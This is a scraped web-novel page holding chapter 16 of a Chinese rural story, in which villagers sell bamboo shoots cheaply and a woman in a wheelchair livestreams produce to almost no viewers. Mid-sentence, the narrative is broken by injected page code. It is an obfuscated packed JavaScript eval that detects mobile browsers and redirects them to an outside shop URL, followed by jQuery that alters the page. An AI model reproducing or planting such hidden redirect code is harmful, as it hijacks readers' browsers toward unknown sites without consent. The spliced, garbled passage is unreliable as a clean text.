默认冷灰
24号文字
方正启体

16. 卖笋

作者:伴橙本书字数:K更新时间:
    入春多雨,春雨连绵,本来回暖的天气又降了温。


    这一下就是好几日,细雨最终在几日后的黎明前停了,留下满山湿漉漉的绿意。


    李家伯母趁着山雾还未完全散开,便又背起了那个磨得发亮的旧竹篓上了山。


    回来时,裤脚和胶鞋上沾满了新鲜的泥泞,竹篓里则满满当当地装着刚刚破土的鲜嫩春笋。


    她利落地坐在院坝里的小凳上开始分拣,小院静悄悄的,只有屋檐水偶尔滴落在石阶上的轻响。


    李家伯母直起有些酸软的腰,抬手用手背拭去额角细密的汗。


    她抬眸看向对面小院,李乘歌正踮着脚,将洗净的衣物一件件抖开,晾晒在院角的竹竿上,湿润的棉布在晨风里微微晃动,带着皂荚清爽的气息。


    傅拭雪蹲在那辆半旧的皮卡旁,手里拿着工具,正仔细检查轮胎和底盘,沾了机油的手指在金属部件间灵活移动,侧脸专注。


    屋内传来年轻人清朗而耐心的讲课声,光线透过洁净的玻璃窗,洒在铺着蓝印花布的书桌上。


    夏叙言坐在沈摘星旁边,他今天穿了一件简单的灰色卫衣,袖口挽起一截,露出清瘦的手腕,手里拿着一支水性笔,笔尖正轻轻点着摊开的数学习题册,圈画出关键步骤。


    他的声音不高,语速平缓,却字字清晰,“所以,这个函数在这里的连续性,不能只看一点,要讨论它在整个定义区间上的性质。你看,当x趋近于这个临界值时,左极限和右极限是否相等,是判断的关键。”


    沈摘星微微蹙着秀气的眉毛,目光紧紧追随着夏叙言的笔尖,听得十分认真,另一只手下意识地转着另一支笔,偶尔会轻轻点头。


    但当夏叙言停下来,用询问的目光看向她,等待她反馈时,她眼中又会闪过一丝不确定的迷茫。


    “我……大概明白了这个思路,”沈摘星犹豫着,声音细细的,“但是……当我自己动笔写解题过程的时候,总是担心会漏掉某个条件,或者推理的步骤不够严谨。”


    “这很正常,尤其是刚开始接触这种证明题的时候。”夏叙言语气温和,没有丝毫的不耐烦,脸上甚至带着鼓励的笑意。


    他抽过一张干净的草稿纸,边说边重新写,“我们一步步来,不用急。首先,把题目里明确给出的已知条件,一条条列清楚。”


    “然后,回想我们学过的跟这些条件相关的定理和判定方法有哪些。最后,就像搭积木一样,用逻辑把这些条件和定理一块块搭建起来,形成完整的推理链条。”


    他顿了顿,看向沈摘星,“你觉得会漏条件,有时候是因为思路太快,或者对某个定理成立的前提条件不够敏感。”


    “来,我们试着从最基础的开始,重新推一遍。慢一点没关系,关键是每一步都要清楚为什么。”


    此刻的夏叙言,和平时的他真的很不一样。


    讲解时,他会不时观察沈摘星的表情,判断她是否跟上了节奏,眼神是否还有疑惑。


    遇到抽象难懂的概念,他会尝试用更生活化更形象的比喻来解释,比如把函数图像的起伏比作山路的坡度变化,把极限这个概念比作无限接近某个目标但未必真正到达的过程。


    屋里很安静,只有笔尖在纸面上划过的沙沙声,以及夏叙言清晰而耐心的讲解声,构成了一个专注而温馨的学习空间。


    阳光穿过逐渐稀薄的雾气,斜斜地照进小院,几只早起的鸡在篱笆边悠闲踱步,啄食着草叶上的露珠。灶间隐约传来粥饭将熟的温吞香气,混着泥土和竹笋的清新,氤氲成一片寻常却安稳的烟火气。


    李家伯母灵巧地剥开几层带泥的笋壳,露出嫩黄如玉的笋肉,最肥壮的那几支被她单独放在竹篮里,抬头对李乘歌和傅拭雪招呼道,“乘歌,拭雪,这些刚破土的黄泥拱最鲜甜,你们拿回去炖汤。剩下的帮我再送一次卫建国家。”


    傅拭雪已经擦干净了手上的机油,闻言走过来,接过那筐还带着泥土清香的鲜笋,入手沉甸甸的。


    他看着竹篮里那几支顶尖的好笋,又看了看二伯母被笋壳边缘磨得有些发红的手指,忍不住问了一句,“二伯母,镇上……除了卫建国,就没有其他人收笋了吗?或者,有没有那种价格稍微好一点的收购点?”


    二伯母闻言,脸上的笑容淡了些,摇了摇头,叹了口气,“没有了。就他这儿收得最多,也最固定。其他零零散散来收的,价格也差不多,有时候还挑三拣四。建国这儿……好歹是熟人,不会太坑。”


    傅拭雪沉默地点了点头,没再说什么,只是默默地将剩下的笋开始往皮卡车的后斗里搬。


    他知道,再问下去,也只是让长辈心里更不好受。


    出发前,李乘歌找来一大块干净的湿布,仔细盖在车斗里的笋堆上,又用小喷壶均匀地洒了些清水,“这样能保持点湿度,送到的时候看着还能新鲜些。”


    皮卡车沿着湿滑的山路缓缓行驶,轮胎碾过积水的路面发出细碎的声响。车斗里的春笋随着颠簸轻轻颤动,偶尔有一两颗水珠从笋尖滚落。


    傅拭雪摇下车窗,山风带着雨后竹林特有的清冽扑面而来,混着泥土和植物根茎断裂后的鲜涩气息。他深吸了一口这熟悉的空气,目光掠过窗外飞速后退的连绵竹海。


    车驶过一道缓弯,轮下溅起细小的水花。他关上车窗,将山风的喧嚣隔绝在外,车内顿时安静下来,只余引擎低沉的嗡鸣。


    “我去村里和镇上打听了一圈。”李乘歌望着窗外不断流动的绿色,声音有些发闷,打破了车内的寂静,“卫建国今年开出的收购价……比去年又低了两毛。就算是二伯母挖的这种顶好的黄泥拱,在他那里,和普通的毛笋差价也不大。”


    傅拭雪握着方向盘的手指紧了紧,目光依旧看着前方湿滑的路面。


    李乘歌继续说,“他说外面市场都这样,我们山路远,运输损耗大,压价是必然的。”


    “必然……”李乘歌轻轻重复着这个词,视线落在车斗里那些沾着水珠的嫩黄笋尖上,“二伯母天不亮就上山,踩着湿泥,一棵棵寻摸,手指都被笋壳磨得红肿。”


    “这必然的价,连她那份辛苦都对不起。”


    傅拭雪沉默着。


    他知道李乘歌说得对。


    这不仅仅是钱的问题,是那份沉甸甸的劳动被轻贱了。


    他当然可以直接掏钱,以更高的价格买下二伯母、甚至村里所有乡亲的笋。


    但这无异于饮鸩止渴,治标不治本。


    他不可能永远在这里,他的财力也终有耗尽的一天。


    杯水车薪,改变不了整个链条的畸形现状。


    一种沉重而熟悉的无力感,在这狭小的驾驶室里弥漫开来,比窗外尚未散尽的山雾更加浓郁,压得人胸口发闷。


    之后的路程,两人都没再说话,只有引擎声和车轮碾过路面的声音作伴。


    皮卡车在略显压抑的寂静中,驶入了下村,停在了卫建国家那栋二层小楼前。


    院坝里已经堆了不少笋,空气里弥漫着泥土和植物根茎断裂后的浓重生涩气。


    卫建国依旧是那副爽利的样子,笑着迎出来,爬上车便熟练地翻看起他们车斗里的笋。


    “乘歌,拭雪,又麻烦你们跑一趟。”他捏开一支黄泥拱的根部,露出里面嫩得几乎透明的笋肉,语气里带上了一丝惋惜和无奈,“不是我拍马屁,说真的李婶挖笋的手艺,还有她找笋的眼光,确实是咱村里头一份的好。这黄泥拱,品相没得挑。”


    他话锋一转,脸上露出苦涩,“可今年外头的市场行情,唉,你们也知道。运费涨了,路上的损耗也大,到了大市场的批发商那里,还要被再压一道价,一层层盘剥下来,到我这儿,也实在是腾挪不开了。价格……恐怕还是只能按我之前说的那个来,你们看……”


    他报出一个意料之中却依旧让人心头发涩的数字。


    没有争辩,也没有讨价还价。


    傅拭雪和李乘歌对视一眼,默契地开始卸货,将那一筐筐鲜笋,搬到院坝里指定的角落。


    动作间,只有竹篓摩擦发出的沙沙声,以及彼此有些沉闷的呼吸声。


    他们接过那叠比笋肉轻薄太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310825|198833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多的钞票,指尖仿佛能感受到二伯母那份被折扣掉的辛劳。


    正当他们准备转身离开时,一颗细长翠绿的斑竹笋,从堆放的边缘滑落,圆溜溜地滚到了李乘歌的脚边。


    “小姑娘,我的笋跑你那里去了,能帮我捡一下吗?”


    一道略带沙哑却很温和的声音在李乘歌身后不远处响起。


    李乘歌和傅拭雪闻声同时回头望去。


    说话的是个坐在轮椅上的妇人,看起来四十多岁,头发梳得整齐,脸上带着温和的笑意,正是卫建国的妻子,村里人都叫她阿桂姐。


    李乘歌弯腰拾起那颗滚落脚边的斑竹笋。她依言走向阿桂姐,正准备将笋递还,目光却不由得被她身前的景象吸引住。


    阿桂姐的膝盖上盖着一块素色的薄毯,毯子一角,用绳子固定着一个看起来有些简陋甚至像是自制的手机支架。


    支架上的手机屏幕亮着,显示的赫然是一个直播间的界面。


    然而,那个在线观看人数的显示栏里,数字孤零零地跳动着,长期停留在个位数,此刻正显示着刺眼的“2”。


    屏幕下方的评论区几乎一片死寂,只有零星一两条系统推送的提醒消息快速滑过,连个点赞的图标都少见。


    但阿桂姐似乎并未在意无人观看的冷清,她依旧微微倾身,对着手机镜头,用那沙哑却努力保持清晰的声音,认真地介绍着,“大家看,这就是我们山里刚刚挖回来的斑竹笋,特别清甜,生吃都有一股子脆嫩劲儿……”


    她的手指小心地抚过笋壳上那些天然的褐色斑点,动作轻柔,眼神里充满了对自家山货的自豪。


    看到李乘歌走过来,阿桂姐暂停了讲述,抬头对她温和地笑了笑,接过那颗斑竹笋,低声道了句,“谢谢你啊,姑娘。”


    李乘歌注意到,她手机的充电线连着轮椅扶手上挂着的一个老旧充电宝。


    阿桂姐很快又回到她的直播间,继续对着那几乎不存在的观众,轻声细语地介绍,“都是乡亲们天不亮就上山,一棵棵挖回来的,还带着山里的露水呢……”


    她的声音在空旷的院坝里显得有些单薄,甚至能听到一点点回声。


    傅拭雪将直播间清冷的画面收观眼底,就两人吗?


    这是在直播卖货?


    那近乎为零的在线人数,与妇人认真投入的神情形成了鲜明而强烈的对比,让人心里说不出是什么滋味。


    李乘歌心思细腻,她没有离开,反而蹲下身,帮着阿桂姐整理了一下膝上筐里的笋,用闲聊般的语气轻声搭话,“阿桂姐,你这……是在直播吗?挺辛苦的吧?这样……有人来买吗?”


    “没呢。”阿桂姐闻言,脸上掠过一丝赧然,轻轻摇头,声音压低了些,像是怕被不远处正在算账的丈夫听到,“其实,都没什么人看。建国不让说,这个直播间,是他前阵子硬是给我弄的。他说光靠他以前那些往外批发的老路子,量上不去,价钱也被压得死死的,好多乡亲辛辛苦苦挖来的好笋,最后……唉。”


    她顿了顿,目光扫过院子里堆积如山的春笋,眼里是同样的心疼,“他说想试试现在的新法子,兴许能让山外面更多的人,直接看到买到咱们山里的这些好东西。”


    “不用经过那么多道手,价钱也能好一点。可是我们都不懂这些新鲜玩意儿,对着个手机,也不知道该说些啥才能吸引人,就只会傻乎乎地拿着笋给大家看,但没人看,更没人信我们这山旮旯里真能有什么好东西。”


    这时,卫建国送走了另一拨来送笋的乡亲,擦了把汗走了过来,恰好听到妻子后面的话,脸上那惯常的爽利笑容淡去,添了几分无奈的实诚。


    “让你们见笑了。是,我是在弄这个,想让阿桂试试直播,看能不能把咱这山里的笋,直接卖出去,卖个好价钱,也让乡亲们多挣点。可……”


    他重重地叹了口气,搓了搓粗糙的大手,“这玩意儿,看着别人弄得热闹,真到自己头上,才知道难。没人气,没流量,说破天也没用。我们这地方偏,快递也贵,好多客人一听要自包运费就跑了……唉,难啊。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)